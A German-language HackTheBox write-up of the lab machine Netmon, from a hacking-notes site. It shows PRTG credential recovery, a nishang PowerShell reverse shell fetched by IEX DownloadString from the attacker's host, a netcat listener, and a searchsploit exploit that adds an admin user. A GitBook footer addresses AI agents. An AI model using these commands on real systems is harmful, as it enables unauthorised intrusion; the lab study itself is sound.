> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Netmon HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* FTP-Aufzählung
* Informationsleck
* Offenlegung von Anmeldedaten in PRTG Network Monitor
* Befehlsausführung über PRTG-Benachrichtigungen
* Auslieferung einer PowerShell-Reverse-Shell
  {% endhint %}

## Aufklärung

Erstelle den Arbeitsbereich und führe den vollständigen TCP-Scan aus:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/e1864f19c1d17166b9dc3fd9dd4c714e8e6d3cd5" alt=""><figcaption></figcaption></figure>

Führe den gezielten Dienstscan aus:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/04156120a1d51b05076c51a30c5c175863e56667" alt=""><figcaption></figcaption></figure>

## FTP-Aufzählung

FTP erlaubt anonymen Zugriff.

<figure><img src="/files/588712e412bb287ff5dbd493264655abb71df68a" alt=""><figcaption></figcaption></figure>

Die User-Flag ist über FTP im Desktop-Pfad des Benutzers lesbar.

<figure><img src="/files/08954a3a4896791639f8afa2c9432f65e72d97f8" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

Port 80 stellt eine **PRTG Network Monitor** Weboberfläche bereit.

<figure><img src="/files/ae9ab28f6cef536667723a4884e7b7a3c6a8806b" alt=""><figcaption></figcaption></figure>

Überprüfe das Konfigurationsverzeichnis:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/f1e42644947fcde18388a87f7415d08f8056eb8c" alt=""><figcaption></figcaption></figure>

Die Sicherungskonfigurationsdatei gibt Anmeldedaten preis:

```
PRTG Configuration.old.bak
```

<figure><img src="/files/ed0b151657fcbe69cdcaf7780b442dd65359450e" alt=""><figcaption></figcaption></figure>

Wiederhergestellte Anmeldedaten:

* Benutzername: `prtgadmin`
* Passwort: `PrTg@dmin2018`

<figure><img src="/files/863a68cb6d0b912d3744fc54d0ddfd61da937915" alt=""><figcaption></figcaption></figure>

Da die Datei ein altes Backup ist, teste das aktualisierte Jahr im Passwort. Der Zugriff ist gültig mit:

```
PrTg@dmin2019
```

<figure><img src="/files/154470b815330a46d2a2bd62432d0b14d7b26bff" alt=""><figcaption></figcaption></figure>

## PRTG-RCE

PRTG-Benachrichtigungen können Befehle auf dem Server ausführen. Verwende ein gehostetes PowerShell-RevShell-Skript und löse es über eine Benachrichtigungsaktion aus.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Lade das PowerShell-Payload herunter und bereite es vor:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Starte einen Listener:

```bash
rlwrap nc -nvlp 443
```

Gehe in PRTG zu `Setup > Kontoeinstellungen > Benachrichtigungen` und erstelle eine Benachrichtigungsaktion, die das gehostete Skript herunterlädt und ausführt.

<figure><img src="/files/ec5f198055034fd74eb83602f41f78688210a232" alt=""><figcaption></figcaption></figure>

Befehlsmuster:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Wenn der Download-Callback den HTTP-Server erreicht, die Shell jedoch nicht zurückkommt, kodiere das PowerShell-Skript als UTF-16LE-Base64 und führe es mit `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Automatischer Exploit-Pfad

SearchSploit enthält einen PRTG-Exploit, der einen neuen administrativen Benutzer erstellt, wenn ein gültiges authentifiziertes Cookie angegeben wird.

```bash
searchsploit -m windows/webapps/46527.sh
```

Führe den Exploit mit der Ziel-URL und dem Sitzungscookie aus:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Der Exploit erstellt:

* Benutzername: `pentest`
* Passwort: `P3nT3st!`

<figure><img src="/files/d4bfa73dc7ca0310cb650e80c582932f5c5dd28e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
